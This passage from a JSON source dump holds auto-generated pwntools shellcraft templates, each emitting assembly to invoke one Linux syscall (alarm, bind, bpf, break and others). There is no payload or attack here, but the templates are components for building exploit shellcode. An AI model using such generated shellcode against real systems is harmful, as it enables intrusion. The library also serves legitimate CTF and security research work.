    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>alarm(seconds) -> str\n\nInvokes the syscall alarm.\n\nSee 'man 2 alarm' for more information.\n\nArguments:\n    seconds(unsigned): seconds\nReturns:\n    unsigned\n</%docstring>\n<%page args=\"seconds=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['seconds']\n    argument_values = [seconds]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_alarm']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_alarm'])\n%>\n    /* alarm(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/arch_prctl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>arch_prctl(code, addr) -> str\n\nInvokes the syscall arch_prctl.\n\nSee 'man 2 arch_prctl' for more information.\n\nArguments:\n    code(int): code\n    addr(unsigned*): addr\nReturns:\n    int\n</%docstring>\n<%page args=\"code=0, addr=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['code', 'addr']\n    argument_values = [code, addr]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_arch_prctl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_arch_prctl'])\n%>\n    /* arch_prctl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/arch_specific_syscall.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>arch_specific_syscall(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall arch_specific_syscall.\n\nSee 'man 2 arch_specific_syscall' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_arch_specific_syscall']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_arch_specific_syscall'])\n%>\n    /* arch_specific_syscall(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/arm_fadvise64_64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>arm_fadvise64_64(fd, advice, offset, length) -> str\n\nInvokes the syscall arm_fadvise64_64.\n\nSee 'man 2 arm_fadvise64_64' for more information.\n\nArguments:\n    fd(int): fd\n    advice(int): advice\n    offset(loff_t): offset\n    length(loff_t): length\nReturns:\n    long\n</%docstring>\n<%page args=\"fd=0, advice=0, offset=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'advice', 'offset', 'length']\n    argument_values = [fd, advice, offset, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_arm_fadvise64_64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_arm_fadvise64_64'])\n%>\n    /* arm_fadvise64_64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/arm_sync_file_range.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>arm_sync_file_range(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall arm_sync_file_range.\n\nSee 'man 2 arm_sync_file_range' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_arm_sync_file_range']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_arm_sync_file_range'])\n%>\n    /* arm_sync_file_range(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/bdflush.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>bdflush(func, data) -> str\n\nInvokes the syscall bdflush.\n\nSee 'man 2 bdflush' for more information.\n\nArguments:\n    func(int): func\n    data(long): data\nReturns:\n    int\n</%docstring>\n<%page args=\"func=0, data=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['func', 'data']\n    argument_values = [func, data]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_bdflush']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_bdflush'])\n%>\n    /* bdflush(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/bind.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>bind(fd, addr, length) -> str\n\nInvokes the syscall bind.\n\nSee 'man 2 bind' for more information.\n\nArguments:\n    fd(int): fd\n    addr(CONST_SOCKADDR_ARG): addr\n    length(socklen_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, addr=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'addr', 'length']\n    argument_values = [fd, addr, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_bind']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_bind'])\n%>\n    /* bind(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/bpf.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>bpf(cmd, attr, size) -> str\n\nInvokes the syscall bpf.\n\nSee 'man 2 bpf' for more information.\n\nArguments:\n    cmd(int): cmd\n    attr(bpf_attr*): attr\n    size(unsigned): size\nReturns:\n    int\n</%docstring>\n<%page args=\"cmd=0, attr=0, size=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['cmd', 'attr', 'size']\n    argument_values = [cmd, attr, size]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_bpf']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_bpf'])\n%>\n    /* bpf(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/break_.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>break(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall break.\n\nSee 'man 2 break' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_break']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_break'])\n%>\n    /* break(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/brk.asm",
